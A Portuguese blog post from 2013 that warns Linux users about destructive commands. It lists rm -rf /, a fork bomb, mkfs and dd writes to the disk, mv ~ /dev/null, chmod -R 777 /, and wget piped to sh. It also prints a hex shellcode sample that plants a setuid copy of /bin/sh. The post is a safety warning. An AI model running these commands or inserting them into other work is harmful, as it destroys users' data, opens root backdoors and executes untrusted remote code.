Comandos mortais em Linux

22/11/2013

em Erros,Outras

Enquanto o trabalho em linha de comando pode ser produtivo, por vezes basta teclar uns comandos errados, no sitio errado, para estragar o seu dia.

Portanto, antes de efectuar qualquer um dos comandos em baixo, TENHA MUITO CUIDADO!
PS: Os backups são os seus melhores amigos 😉

1: rm -rf / – Apaga Tudo!

O comando rm -rf / apaga mesmo tudo, ficheiros, links, programas, etc…

2: rm -rf / (disimulado) – Apaga Tudo!

Existem comandos que podem estar escondidos, sob forma Hexadecimal, portanto, o que não sabe, não execute! Um exemplo que existe na internet, que é uma versão de “rm -rf /” disimulada:

char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

3: :(){ :|:& };: – Fork Bomb (uma ataque ao seu próprio computador)

:(){ :|:& };:

Os caracteres aparentam não fazer nada, mas, executados na linha de comando do seu computador dá origem a uma função bash que cria cópias de si mesma e vai replicando-se até consumir todos os recursos de CPU e memória, originando o bloqueio do seu computador. Uma vez mais, não execute comandos que não conhece na linha de comandos do seu computador.

4: <COMANDO> > /dev/sda ou of=/dev/sda – Vai directo ao seu disco!

O dispositivo de disco está normalmente atribuido a “/dev/sda” e alguns comandos podem danificar o conteúdo do seu disco, ou mesmo apagar por completo.

exemplos:
$ mkfs.ext4 /dev/sda1 > formata o seu disco
$ dd if=/dev/random of=/dev/sda > escreve "lixo" no disco

5: mv ~ /dev/null – move a directoria “home” para um “buraco negro” 😉

/dev/null é uma localização especial, sendo equiparada a um “buraco negro” ou algo que qualquer coisa que lá seja colocada, desaparece por completo!
O exemplo de “mv ~ /dev/null”, basicamente, destrói todos os seus ficheiros na “home”

6: chmod -R 777 / – Permissões totais de leitura, escrita e execução

Ao ser executado, não mostra qualquer efeito físico ou mesmo resposta ao utilizador, mas, é um grande risco de segurança dado que permite a escrita e execução por qualquer utilizador de todos os ficheiros.

7: wget http://um_site_na_internet/ficheiro_na_net -O- | sh – Download e execução de ficheiro de fontes externas

O comando wget funciona como download de um ficheiro na internet e após o download, é executado através do comando “sh”. O código do ficheiro que acabou de fazer download poderá ser malicioso e danificar os ficheiros do seu computador.

Nota importante:

Este artigo serve de alerta no caso de ter de executar qualquer comando no “terminal”, saiba ou pesquise o que o comando poderá fazer.
Tenha sempre em atenção: NÃO execute o que não sabe!

 

Artigo anterior:

Próximo artigo: